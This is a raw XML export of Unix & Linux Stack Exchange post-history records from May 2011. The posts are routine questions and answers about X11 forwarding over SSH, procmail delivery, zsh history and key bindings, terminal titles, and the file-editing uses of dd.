  <row Id="31367" PostHistoryTypeId="2" PostId="12777" RevisionGUID="9bee306c-e919-4fd3-8bfd-f75f47e09fbb" CreationDate="2011-05-06T22:52:07.457" UserId="885" Text="Consider a situation where I'm logging in over SSH from machine A to machine B, I have an X session on machine A, and I want to run an X program on B.&#xD;&#xA;&#xD;&#xA;[`ssh -X B` makes this work transparently.](http://unix.stackexchange.com/questions/12755/how-to-forward-x-over-ssh-from-ubuntu-machine) But what if the server configuration lacks `X11Forwarding yes`, I don't have root permissions on the server, and the server administrator is indifferent?&#xD;&#xA;&#xD;&#xA;It's obviously possible to forward the X11 connection, since I can transfer whatever I want over the SSH channel. In fact, if the local X server allows TCP connections, it's as easy as `ssh -R 6010:localhost:6000` (to be adjusted for the display numbers). What about the common case where the local X server only allows socket connections? How do I do X forwarding conveniently and securely, with a minimum of installation requirements (especially on B)?&#xD;&#xA;" />
  <row Id="31368" PostHistoryTypeId="1" PostId="12777" RevisionGUID="9bee306c-e919-4fd3-8bfd-f75f47e09fbb" CreationDate="2011-05-06T22:52:07.457" UserId="885" Text="Forwarding X11 over SSH if the server configuration doesn't allow it" />
  <row Id="31369" PostHistoryTypeId="3" PostId="12777" RevisionGUID="9bee306c-e919-4fd3-8bfd-f75f47e09fbb" CreationDate="2011-05-06T22:52:07.457" UserId="885" Text="ésshàéxorgàéxforwardingà" />
  <row Id="31370" PostHistoryTypeId="2" PostId="12778" RevisionGUID="2607cb86-6e5c-44d6-83ea-e60c3a53990d" CreationDate="2011-05-06T23:00:08.140" UserId="3169" Text="For saving the output, try using `script`.  It's part of `util-linux`, so should be available everywhere.&#xD;&#xA;&#xD;&#xA;For the working directory, try `PS4='+$PWD '`.  The single quotes mean it only gets expanded when it's about to be printed.  And you probably still want the `+`, but it's up to you.&#xD;&#xA;&#xD;&#xA;According to [POSIX definition of set](http://pubs.opengroup.org/onlinepubs/009695399/utilities/set.html), `set -x` and `set -o xtrace` are both supported.  The [dash man page](http://manpages.ubuntu.com/manpages/hardy/man1/dash.1.html) says it's OK too." />
  <row Id="31371" PostHistoryTypeId="5" PostId="12778" RevisionGUID="66abbcda-53db-40c1-a4e6-a3a8c57f753e" CreationDate="2011-05-06T23:10:52.810" UserId="3169" Comment="don't mention script - i can't get it working on my system so can't vouch for it; added 72 characters in body" Text="For the working directory, try `PS4='+$PWD '`.  The single quotes mean it only gets expanded when it's about to be printed.  The first character of `PS4` can be printed multiple times, so you probably still want the `+` or at least a space at the start.&#xD;&#xA;&#xD;&#xA;According to [POSIX definition of set](http://pubs.opengroup.org/onlinepubs/009695399/utilities/set.html), `set -x` and `set -o xtrace` are both supported.  The [dash man page](http://manpages.ubuntu.com/manpages/hardy/man1/dash.1.html) says it's OK too." />
  <row Id="31373" PostHistoryTypeId="25" PostId="12774" RevisionGUID="8d483dd9-a17a-439c-9315-a9cda399d02b" CreationDate="2011-05-07T00:11:28.447" Comment="http://twitter.com/#!/StackUnix/status/66656356291190784" />
  <row Id="31374" PostHistoryTypeId="5" PostId="12732" RevisionGUID="1af9f634-b0f0-4dbd-a0a6-9f4ff0a937c5" CreationDate="2011-05-07T00:53:49.050" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [how to build lc tool in linux?](http://unix.stackexchange.com/questions/12725/how-to-build-lc-tool-in-linux)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;    SHELL=/bin/sh  &#xD;&#xA;    CC=cc&#xD;&#xA;    &#xD;&#xA;    # Objects we link together.&#xD;&#xA;    OBJ=lc.o get.o&#xD;&#xA;    &#xD;&#xA;    all:	$(OBJ)  &#xD;&#xA;    	$(CC) -o lc   &#xD;&#xA;              $(OBJ)&#xD;&#xA;    &#xD;&#xA;    lc.o:	lc.c lc.h  &#xD;&#xA;    get.o:	get.c lc.h&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31375" PostHistoryTypeId="10" PostId="12732" RevisionGUID="f0a98fb9-2a59-49d1-99db-38270b5a14f5" CreationDate="2011-05-07T00:53:48.783" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31376" PostHistoryTypeId="2" PostId="12780" RevisionGUID="e8f1c1e1-a0cc-4958-ab18-e0127dbf4175" CreationDate="2011-05-07T01:22:36.800" UserId="3850" Text="Thanks to @Austin (http://apple.stackexchange.com/users/5916/austin) and others, I finally solved the problem! I thought damn it, this is a Unix box, i should be able to find out what's going on! I found another Snow Leopard machine at work which never had Internet Sharing turned on and in a terminal I ran:    &#xD;&#xA;    `touch now &amp;&amp; sudo find -x / -newer now `&#xD;&#xA;&#xD;&#xA;and I got a short list of files that always show up (spotlight indexes, log files in /private/log and if you are using file vault a bunch of encrypted sparse bundles  ...)&#xD;&#xA;&#xD;&#xA;then I enabled Internet sharing and this time I ran:&#xD;&#xA;    `sudo find -x / -newer now` &#xD;&#xA;obviously without the &quot;touch now&quot;. &#xD;&#xA;It turns out that other than a bunch of log files and other junk there are a hand full of files that are modified. &#xD;&#xA;I copied them all over to my machine and modified the interface names and few other hostname and ip addresses and stuff like that. &#xD;&#xA;The problem happend with    `/Library/Preferences/SystemConfiguration/com.apple.nat.plist`    there is a primary service key there which is set to a UUID and it is different on every machine that I tested (2 machines actually) and it does not work from if you just copy it from one machin to next.&#xD;&#xA;&#xD;&#xA;*** IF YOU ARE IN A HURRY JUST READ THIS PART ***&#xD;&#xA;From the start I avoided reinstalling my OS because I had so many Installations and configurations that I didn't want to loose. It turned out that if you use the original DVD that comes with your machine and reinstall your OS ALL YOUR APPLICATIONS, HOME DIRECTORY, custom modifications, mac ports and fink installations, preferences, network mounts, network locations, developer tools, ALL ARE PRESERVED. BUT IT REINSTALLS THE CORE SYSTEM COMPONENTS that fiex my preferences sharing pane! &#xD;&#xA;&#xD;&#xA;PROBLEM SOLVED! &#xD;&#xA; &#xD;&#xA;" />
  <row Id="31377" PostHistoryTypeId="2" PostId="12781" RevisionGUID="d0e958b2-2a0b-4b7e-ad58-61c84faea83b" CreationDate="2011-05-07T02:09:14.947" UserId="4143" Text="I'm running Fedora 13 Linux, and sending mail to myself using mutt, and I can't seem to get procmail to run.  Below is what my `.procmailrc`, `~/Procmail/rc.testing`, and `.forward` files all look like.  As you can see, they are very simple.&#xD;&#xA;&#xD;&#xA;.procmailrc&#xD;&#xA;&#xD;&#xA;    HOME=/home/cory&#xD;&#xA;    SHELL=/bin/bash&#xD;&#xA;    PMDIR=$HOME/Procmail&#xD;&#xA;    LOGFILE=$PMDIR/pmlog&#xD;&#xA;    LOG=&quot;&#xD;&#xA;    &quot;&#xD;&#xA;    LOG=&quot;My PATH is currently $PATH&#xD;&#xA;    My SHELL is currently $SHELL&#xD;&#xA;    &quot;&#xD;&#xA;    VERBOSE=yes&#xD;&#xA;    MAILDIR=$HOME/Mail&#xD;&#xA;    &#xD;&#xA;    INCLUDERC=$PMDIR/rc.testing&#xD;&#xA;&#xD;&#xA;rc.testing&#xD;&#xA;&#xD;&#xA;    :0:&#xD;&#xA;    * ^Subject:.*test&#xD;&#xA;    IN-testing&#xD;&#xA;&#xD;&#xA;.forward&#xD;&#xA;&#xD;&#xA;    #.forward&#xD;&#xA;    &quot;|/usr/bin/procmail&quot;&#xD;&#xA;&#xD;&#xA;The [Fedora Project documentation](http://docs.fedoraproject.org/en-US/Fedora/13/html/Deployment_Guide/s1-email-mda.html) says that the existence of `.procmailrc` should &quot;invoke Procmail whenever an MTA receives a new message.&quot;  As I understand it, when I send myself a message using mutt, `.procmailrc` will be read by `procmail` and the logfile `pmlog` should be created in my `Procmail` directory.&#xD;&#xA;&#xD;&#xA;However, this log file never gets created, so it appears that procmail is never being run!&#xD;&#xA;&#xD;&#xA;The documentation also states &quot;Fedora 13 provides two MTAs: Sendmail and Postfix. If both are installed, postfix is the default MTA.&quot;  Since `which postfix` results with nothing on my machine, I assume sendmail is being used.  Why doesn't sendmail invoke procmail?" />
  <row Id="31378" PostHistoryTypeId="1" PostId="12781" RevisionGUID="d0e958b2-2a0b-4b7e-ad58-61c84faea83b" CreationDate="2011-05-07T02:09:14.947" UserId="4143" Text="Why is procmail not being run?" />
  <row Id="31379" PostHistoryTypeId="3" PostId="12781" RevisionGUID="d0e958b2-2a0b-4b7e-ad58-61c84faea83b" CreationDate="2011-05-07T02:09:14.947" UserId="4143" Text="éconfigurationàémailàémuttàéprocmailà" />
  <row Id="31380" PostHistoryTypeId="2" PostId="12782" RevisionGUID="8e4427a9-4118-4ded-b928-7b3ab9425585" CreationDate="2011-05-06T22:23:10.930" UserDisplayName="gstoynev" Text="Hello,&#xD;&#xA;&#xD;&#xA;Today I came across a file called `~user/.nautilus/saved-session-XXXXXX`. In it one could see some sort of logging user's activity via Nautilus. Also in `~user/.gconf/apps/gedit-2` one could find interesting things. &#xD;&#xA;&#xD;&#xA;Is there a file where Nautilus tracks user's activity? &#xD;&#xA;Is there a file which states files accessed, moved, copied, deleted, etc. via Nautilus?&#xD;&#xA;&#xD;&#xA;Thank you " />
  <row Id="31381" PostHistoryTypeId="1" PostId="12782" RevisionGUID="8e4427a9-4118-4ded-b928-7b3ab9425585" CreationDate="2011-05-06T22:23:10.930" UserDisplayName="gstoynev" Text="Where Nautilus/Gnome keeps track or log of user activity?" />
  <row Id="31382" PostHistoryTypeId="3" PostId="12782" RevisionGUID="8e4427a9-4118-4ded-b928-7b3ab9425585" CreationDate="2011-05-06T22:23:10.930" UserDisplayName="gstoynev" Text="élinuxàéubuntuàégnomeàénautilusà" />
  <row Id="31383" PostHistoryTypeId="17" PostId="12782" RevisionGUID="92583a19-1b49-46e7-930d-92497f399856" CreationDate="2011-05-07T02:33:33.637" UserId="-1" Comment="from http://serverfault.com/questions/267169/where-nautilus-gnome-keeps-track-or-log-of-user-activity" Text="" />
  <row Id="31384" PostHistoryTypeId="25" PostId="12781" RevisionGUID="36beca1a-f7b1-4af8-9c7f-7e0f02be5e48" CreationDate="2011-05-07T03:11:28.830" Comment="http://twitter.com/#!/StackUnix/status/66701656850567168" />
  <row Id="31385" PostHistoryTypeId="5" PostId="12756" RevisionGUID="45cd47d4-5b45-4815-ae42-9d72c8177bcb" CreationDate="2011-05-07T03:44:35.857" UserId="7246" Comment="edited body; added 44 characters in body" Text="As far as I know, there is no place that this information is stored on. It is coded into the filesystem. However, you can manually make a list of filesystems and the corresponding precision. I would use a case statement to test the filesystem id against your list of filesystems. You can make the default 1 since there are very few examples where precision is less than 1 second.&#xD;&#xA;&#xD;&#xA;Older versions of FAT and current versions of zip use 2 second time stamp precision from what I have read online. However, I suggest you fact check that.&#xD;&#xA;&#xD;&#xA;You can get the id of a file's filsystem with the following command.&#xD;&#xA;&gt;stat -f --format=&quot;%t&quot; $file&#xD;&#xA;&#xD;&#xA;**EDIT:** Fixed problem in stat command." />
  <row Id="31386" PostHistoryTypeId="2" PostId="12783" RevisionGUID="c5aa2da3-279d-412e-a86b-e3efff6975fc" CreationDate="2011-05-07T05:18:05.163" UserId="4949" Text="The `postfix` command exists in `/usr/sbin/` if Postfix is installed, and regular users do not have the `/sbin/` directories in their `PATH` variable by default. A better way to check would be to see if the directory `/etc/postfix/` exists.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If it is installed, check the value of the `mailbox_command` parameter, either by looking for it in `/etc/postfix/main.cf` or by typing `/usr/sbin/postconf mailbix_command`. If that returns something other than `procmail -a &quot;$EXTENSION&quot; then Postfix isn't invoking procmail on local deliveries, which would be the problem.&#xD;&#xA;&#xD;&#xA;You also should check if procmail is actually installed (binary should be in `/usr/bin/procmail` or you can check by `rpm -ql procmail` if my memory about rpm-based package management serves).&#xD;&#xA;&#xD;&#xA;If it turns out you are using sendmail, then please for the love of all that's good and sacred, install postfix instead. Please don't make me try to remember how to edit and modify sendmail rules files..." />
  <row Id="31387" PostHistoryTypeId="25" PostId="12762" RevisionGUID="5c4bbc7f-8737-4988-9caf-7cdb6f80de2b" CreationDate="2011-05-07T06:11:28.763" Comment="http://twitter.com/#!/StackUnix/status/66746955476373504" />
  <row Id="31388" PostHistoryTypeId="5" PostId="12783" RevisionGUID="04ab5ba3-d822-437d-8c76-bc985e12eeb2" CreationDate="2011-05-07T07:06:13.123" UserId="4949" Comment="Slightly updated with good suggestion." Text="The `postfix` command exists in `/usr/sbin/` if Postfix is installed, and regular users do not have the `/sbin/` directories in their `PATH` variable by default. The best way to check is by asking your package manager - in this case, by typing `rpm -q postfix`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If it is installed, check the value of the `mailbox_command` parameter, either by looking for it in `/etc/postfix/main.cf` or by typing `/usr/sbin/postconf mailbix_command`. If that returns something other than `procmail -a &quot;$EXTENSION&quot; then Postfix isn't invoking procmail on local deliveries, which would be the problem.&#xD;&#xA;&#xD;&#xA;You also should check if procmail is actually installed (binary should be in `/usr/bin/procmail` or you can check by `rpm -ql procmail` if my memory about rpm-based package management serves).&#xD;&#xA;&#xD;&#xA;If it turns out you are using sendmail, then please for the love of all that's good and sacred, install postfix instead. Please don't make me try to remember how to edit and modify sendmail rules files..." />
  <row Id="31389" PostHistoryTypeId="2" PostId="12784" RevisionGUID="410d3ff0-f00a-41b2-adfa-efb5ed151d6f" CreationDate="2011-05-07T08:53:39.157" UserId="2343" Text="I use a script which either activates an already running window of a program, or starts that program if it is not running.  It uses different shortcut-keys; one for each of my most used apps — it checks for a unique window title format.   This has worked fine, until today, when I decided to use `terminator` along side of `gnome-terminal`.  &#xD;&#xA;&#xD;&#xA;These two terminal apps display the same title format, and I don't know how to change them independently (actually I don't know how to change them at all).  &#xD;&#xA;&#xD;&#xA;I also use `konsole` (because it displays Unicode better), and it has a *profile-option* which allows changes to the *tab-title* which is mirrored in the window's title,  but `terminator` and `gnome-terminal` don't have this option.  &#xD;&#xA;&#xD;&#xA;Is there some way to have different title formats for different terminals? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31390" PostHistoryTypeId="1" PostId="12784" RevisionGUID="410d3ff0-f00a-41b2-adfa-efb5ed151d6f" CreationDate="2011-05-07T08:53:39.157" UserId="2343" Text="Different Title formats for different Terminal apps?" />
  <row Id="31391" PostHistoryTypeId="3" PostId="12784" RevisionGUID="410d3ff0-f00a-41b2-adfa-efb5ed151d6f" CreationDate="2011-05-07T08:53:39.157" UserId="2343" Text="éterminalà" />
  <row Id="31392" PostHistoryTypeId="5" PostId="12784" RevisionGUID="e5f36311-f793-4b32-9f8c-85cd76c129f5" CreationDate="2011-05-07T09:00:00.823" UserId="2343" Comment="added 20 characters in body; added 7 characters in body" Text="I use a script which either activates an already running window of a program, or starts that program if it is not running.  It uses different shortcut-keys; one for each of my most used apps — it checks for a unique window title format.   This has worked fine, until today, when I decided to use `terminator` along side of `gnome-terminal`.  &#xD;&#xA;&#xD;&#xA;These two terminal apps display the same title format, and I don't know how to change them independently (actually I don't know how to change them at all).  &#xD;&#xA;&#xD;&#xA;I also use `konsole` (because it displays Unicode better than gnome-terminal), and it has a *profile-option* which allows changes to the *tab-title format* which is mirrored in the window's title,  but `terminator` and `gnome-terminal` don't have this option.  &#xD;&#xA;&#xD;&#xA;Is there some way to have different title formats for different terminals? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31393" PostHistoryTypeId="2" PostId="12785" RevisionGUID="fa773144-4a55-401c-b515-21fd6118d4eb" CreationDate="2011-05-07T09:04:59.780" UserId="5289" Text="Suppose I do the following in zsh&#xD;&#xA;    &#xD;&#xA;    cd ~&#xD;&#xA;    cd dir1&#xD;&#xA;    cd dir2&#xD;&#xA;    cd dir3&#xD;&#xA;    evince foo.pdf&#xD;&#xA;&#xD;&#xA;zsh writes exactly the same in its history file.&#xD;&#xA;&#xD;&#xA;Now my question is whether it is possible to have &#xD;&#xA;&#xD;&#xA;    cd ~&#xD;&#xA;    cd ~/dir1&#xD;&#xA;    cd ~/dir1/dir2&#xD;&#xA;    cd ~/dir1/dir2/dir3&#xD;&#xA;    evince ~/dir1/dir2/dir3/foo.pdf&#xD;&#xA;    &#xD;&#xA;in zsh history instead. I.e. that zsh remembers only full paths." />
  <row Id="31394" PostHistoryTypeId="1" PostId="12785" RevisionGUID="fa773144-4a55-401c-b515-21fd6118d4eb" CreationDate="2011-05-07T09:04:59.780" UserId="5289" Text="zsh history - full path" />
  <row Id="31395" PostHistoryTypeId="3" PostId="12785" RevisionGUID="fa773144-4a55-401c-b515-21fd6118d4eb" CreationDate="2011-05-07T09:04:59.780" UserId="5289" Text="ézshà" />
  <row Id="31396" PostHistoryTypeId="2" PostId="12786" RevisionGUID="b2c84ac8-1a9d-4a8e-bfc1-e66aac34e9a8" CreationDate="2011-05-07T09:06:49.787" UserId="3169" Text="You could always look at the shell's parent process and decide based on that, e.g.&#xD;&#xA;&#xD;&#xA;    ps -o comm= -p $(ps -o ppid= -p $$)" />
  <row Id="31397" PostHistoryTypeId="2" PostId="12787" RevisionGUID="511efc81-abad-4064-81cc-0dc0f6476cd8" CreationDate="2011-05-07T09:08:57.373" UserId="5289" Text="How to configure zsh such that `Strg + backspace` kills the word before point? How to achieve that `Strg + del` kills the word after point?" />
  <row Id="31398" PostHistoryTypeId="1" PostId="12787" RevisionGUID="511efc81-abad-4064-81cc-0dc0f6476cd8" CreationDate="2011-05-07T09:08:57.373" UserId="5289" Text="zsh kill Strg + dackspace, Strg + del" />
  <row Id="31399" PostHistoryTypeId="3" PostId="12787" RevisionGUID="511efc81-abad-4064-81cc-0dc0f6476cd8" CreationDate="2011-05-07T09:08:57.373" UserId="5289" Text="ézshà" />
  <row Id="31400" PostHistoryTypeId="2" PostId="12788" RevisionGUID="7e19dad4-9aad-4b8f-9d4e-483210bef0d6" CreationDate="2011-05-07T09:09:45.353" UserId="1131" Text="Man pages for the standard C library are include in the `man-pages` package. For the C++ STL library the man-pages and HTML documentation is included in the `libstdc++-docs` packages. Thus,&#xD;&#xA;&#xD;&#xA;    yum install man-pages libstdc++-docs&#xD;&#xA;&#xD;&#xA;should install them. You can test if they are available via:&#xD;&#xA;&#xD;&#xA;    man std::iostream&#xD;&#xA;    man fopen&#xD;&#xA;&#xD;&#xA;Kind of off-topic: IMHO the libstdc++ documentation (specially the man pages) is not that convenient to browse - I usually use a google search like 'c++ reference iostream' and usually the first hit points to http://www.cplusplus.com/reference/ which is convenient to navigate (at least with AdBlock Plus).&#xD;&#xA;" />
  <row Id="31401" PostHistoryTypeId="25" PostId="12784" RevisionGUID="4dafadbe-4822-44f7-aca9-b6fecf918276" CreationDate="2011-05-07T09:11:28.993" Comment="http://twitter.com/#!/StackUnix/status/66792254110572544" />
  <row Id="31402" PostHistoryTypeId="5" PostId="12786" RevisionGUID="b5e126be-30a8-4508-b907-f0bbb11e6ce2" CreationDate="2011-05-07T09:11:56.210" UserId="3169" Comment="added 142 characters in body; added 7 characters in body" Text="From the shell side, you could look at the shell's parent process and include that in the title somehow:&#xD;&#xA;&#xD;&#xA;    ps -o comm= -p $(ps -o ppid= -p $$)&#xD;&#xA;&#xD;&#xA;Or from your script, you might be able to use the window's class attribute which is the third column:&#xD;&#xA;&#xD;&#xA;    wmctrl -x -l&#xD;&#xA;" />
  <row Id="31403" PostHistoryTypeId="5" PostId="12786" RevisionGUID="887c85d2-d1ca-42e4-b506-60c0cfb9d923" CreationDate="2011-05-07T09:17:42.587" UserId="3169" Comment="added 89 characters in body" Text="From the shell side, you could look at the shell's parent process and include that in the title somehow:&#xD;&#xA;&#xD;&#xA;    ps -o comm= -p $(ps -o ppid= -p $$)&#xD;&#xA;&#xD;&#xA;Or from your script, you might be able to use the window's class attribute which is the third column:&#xD;&#xA;&#xD;&#xA;    wmctrl -x -l&#xD;&#xA;&#xD;&#xA;If you share the script you're using I might be able to provide a more specific answer." />
  <row Id="31404" PostHistoryTypeId="5" PostId="12787" RevisionGUID="74981a61-84c2-457d-bcb5-98aaea929725" CreationDate="2011-05-07T09:18:59.603" UserId="3169" Comment="strg -&gt; ctrl" Text="How to configure zsh such that &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt; kills the word before point? How to achieve that &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; kills the word after point?" />
  <row Id="31405" PostHistoryTypeId="6" PostId="12787" RevisionGUID="74981a61-84c2-457d-bcb5-98aaea929725" CreationDate="2011-05-07T09:18:59.603" UserId="3169" Comment="strg -&gt; ctrl" Text="ézshàélineöeditorà" />
  <row Id="31406" PostHistoryTypeId="2" PostId="12789" RevisionGUID="36b49d64-d08f-4a7e-988d-2d80cb1ca9cb" CreationDate="2011-05-07T09:29:48.863" UserId="3169" Text="&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt; should already work, so I'll focus on making &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; work.&#xD;&#xA;&#xD;&#xA;The zsh command to delete a whole word forwards is called `kill-word`.  By default it is bound to &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If you are using Emacs mode (the default), you can run&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[[3;5~' kill-word&#xD;&#xA;&#xD;&#xA;`^[[3;5~` can change depending on which terminal emulator you are using.  If it doesn't work, try typing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; to see what the value is on your system." />
  <row Id="31407" PostHistoryTypeId="5" PostId="12787" RevisionGUID="611b7364-b0ca-473b-8cd0-5905b2f75184" CreationDate="2011-05-07T09:32:47.967" UserId="5289" Comment="added 37 characters in body" Text="How to configure zsh such that &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt; kills the word before point? How to achieve that &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; kills the word after point?&#xD;&#xA;&#xD;&#xA;I use urxvt as terminal emulator." />
  <row Id="31408" PostHistoryTypeId="5" PostId="12789" RevisionGUID="e06e7210-8d88-427e-81ac-3e811cff0693" CreationDate="2011-05-07T09:35:34.753" UserId="3169" Comment="added 379 characters in body; added 55 characters in body" Text="&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt; should already work, so I'll focus on making &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; work.&#xD;&#xA;&#xD;&#xA;The zsh command to delete a whole word forwards is called `kill-word`.  By default it is bound to &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Assuming you are using Emacs mode (the default), for Gnome Terminal, you can do:&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[[3;5~' kill-word&#xD;&#xA;&#xD;&#xA;and for urxvt, you should do:&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[[3^' kill-word&#xD;&#xA;&#xD;&#xA;If that doesn't work, or you are using a different terminal emulator, try typing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; to see what the value is on your system.&#xD;&#xA;&#xD;&#xA;(To be portable across terminals, you could use the output of `tput kDC5`.)&#xD;&#xA;&#xD;&#xA;If &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt; isn't working, try the same &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; method and compare with the output of&#xD;&#xA;&#xD;&#xA;    bindkey | grep kill-word&#xD;&#xA;&#xD;&#xA;I can't see a reason for that not to work, because zsh will accept either `^H` versus `^?` as backspace." />
  <row Id="31409" PostHistoryTypeId="2" PostId="12790" RevisionGUID="f88860e9-45a1-4396-be0f-8efea2db3229" CreationDate="2011-05-07T10:02:03.150" UserId="1925" Text="Is the protocol X11 speaks when talking to a tcp port any different when talking to a socket?&#xD;&#xA;&#xD;&#xA;Perhaps you could combine your own suggested use of `ssh -R 6010:localhost:6000` to bring the X11 data in over port forwarding, then bridge the local gab between the tcp port and the X11 socket listener with nc like:&#xD;&#xA;&#xD;&#xA;    nc -l -p 6000 &gt; /var/run/xorg_socket" />
  <row Id="31410" PostHistoryTypeId="5" PostId="12790" RevisionGUID="0f8d8f01-1193-483d-9f2f-3416c5b7b06e" CreationDate="2011-05-07T10:11:21.133" UserId="1925" Comment="deleted 3 characters in body" Text="Is the protocol X11 speaks when talking to a tcp port any different when talking to a socket?&#xD;&#xA;&#xD;&#xA;Perhaps you could combine your own suggested use of `ssh -R 6010:localhost:6000` to bring the X11 data in over port forwarding, then bridge the local gab between the tcp port and the X11 socket listener with nc like:&#xD;&#xA;&#xD;&#xA;    nc -l -p 6000 &gt; /tmp/.X11-unix/X0" />
  <row Id="31411" PostHistoryTypeId="2" PostId="12791" RevisionGUID="210167d0-66d3-4410-99a5-10e7686a0911" CreationDate="2011-05-07T10:39:57.307" UserId="7295" Text="I normally ssh into a remote server, for which I previously set an option that allows me not to type my password every time. Now that I forgot it, is there any way to retrieve it?  " />
  <row Id="31412" PostHistoryTypeId="1" PostId="12791" RevisionGUID="210167d0-66d3-4410-99a5-10e7686a0911" CreationDate="2011-05-07T10:39:57.307" UserId="7295" Text="retrieve password on remote server" />
  <row Id="31413" PostHistoryTypeId="3" PostId="12791" RevisionGUID="210167d0-66d3-4410-99a5-10e7686a0911" CreationDate="2011-05-07T10:39:57.307" UserId="7295" Text="épasswordàéserveràéremoteà" />
  <row Id="31414" PostHistoryTypeId="4" PostId="12787" RevisionGUID="d4c00010-f557-4df4-9c42-466ff5e197c5" CreationDate="2011-05-07T10:41:43.420" UserId="5289" Comment="edited title" Text="zsh kill Ctrl + Backspace, Ctrl + Delete" />
  <row Id="31415" PostHistoryTypeId="5" PostId="12538" RevisionGUID="9c56804b-8204-4291-b5a1-48607bc552e9" CreationDate="2011-05-07T10:41:50.497" UserId="885" Comment="taking the first N bytes: even where head -c exists, it may read too much" Text="In appearance, [`dd`](http://en.wikipedia.org/wiki/Dd_%28Unix%29) is a tool from an IBM operating system that's retained its foreign appearance (its parameter passing), which performs some very rarely-used functions (such as EBCDIC to ASCII conversions or endianness reversal… not a common need nowadays).&#xD;&#xA;&#xD;&#xA;I [used to think](http://unix.stackexchange.com/questions/11464/how-to-write-repeated-free-form-strings-to-a-file-as-fast-as-dd/11468#11468) that `dd` was faster for copying large blocks of data on the same disk (due to more efficient use of buffering), but this [isn't true](http://unix.stackexchange.com/questions/9432/is-there-a-way-to-determine-the-optimal-value-for-the-bs-parameter-to-dd/9492#9492), at least on today's Linux systems.&#xD;&#xA;&#xD;&#xA;I think some of `dd`'s options are useful when deadling with tapes, where reading is really performed in blocks (tape drivers don't hide the blocks on the storage medium the way disk drivers do). But I don't know the specifics.&#xD;&#xA;&#xD;&#xA;One thing `dd` can do that can't (easily) be done by any other POSIX tool is **taking the first N bytes** of a stream. Many systems can do it with `head -c 42`, but `head -c`, while common, isn't in POSIX (and ins't available today on e.g. OpenBSD). (`tail -c` is POSIX.) Also, even where `head -c` exists, it might read too many bytes from the source (because it uses stdio buffering internally), which is a problem if you're reading from a special file where just reading has an effect. (Current GNU coreutils read the exact count with `head -c`, but FreeBSD and NetBSD use stdio.)&#xD;&#xA;&#xD;&#xA;More generally, `dd` gives an interface to the underlying file API that is unique amongst Unix tools: only `dd` can **overwrite or truncate** a file **at any point** or **seek** in a file. (This is `dd`'s unique ability, and it's a big one; oddly enough `dd` is best known for things that other tools can do.)&#xD;&#xA;&#xD;&#xA;* Most Unix tools overwrite their output file, i.e. erase its contents and start it over from scratch. This is what happens when you use `&gt;` redirection in the shell as well.&#xD;&#xA;* You can append to a file's contents with `&gt;&gt;` redirection in the shell, or with `tee -a`.&#xD;&#xA;* If you want to shorten a file by removing all data *after a certain point*, this is supported by the underlying kernel and C API through the [`truncate`](http://pubs.opengroup.org/onlinepubs/009695399/functions/truncate.html) function, but not exposed by any command line tool [except `dd`](http://unix.stackexchange.com/questions/1279/how-can-i-edit-large-file/1305#1305):&#xD;&#xA;&#xD;&#xA;        dd if=/dev/null of=/file/to/truncate seek=1 bs=123456  # truncate file to 123456 bytes&#xD;&#xA;&#xD;&#xA;* If you want to overwrite data in the middle of a file, again, this is possible in the underyling API by [opening](http://pubs.opengroup.org/onlinepubs/009695399/functions/open.html) the file for writing without truncating (and calling [`lseek`](http://pubs.opengroup.org/onlinepubs/009695399/functions/lseek.html) to move to the desired position if necessary), but only `dd` can open a file without truncating or appending, or [seek](http://unix.stackexchange.com/questions/8852/is-there-a-search-utility-which-can-binary-split-search-a-large-sorted-sequentia) from the shell ([more complex example](http://unix.stackexchange.com/questions/11067/is-there-a-way-to-modify-a-file-in-place/11114#11114)).&#xD;&#xA;&#xD;&#xA;        # zero out the second kB block in the file (i.e. bytes 1024 to 2047)&#xD;&#xA;        dd if=/dev/zero of=/path/to/file bs=1024 seek=1 count=1 conv=notrunc&#xD;&#xA;&#xD;&#xA;So… As a system tool, `dd` is pretty much useless. As a text (or binary file) processing tool, it's quite valuable!&#xD;&#xA;" />
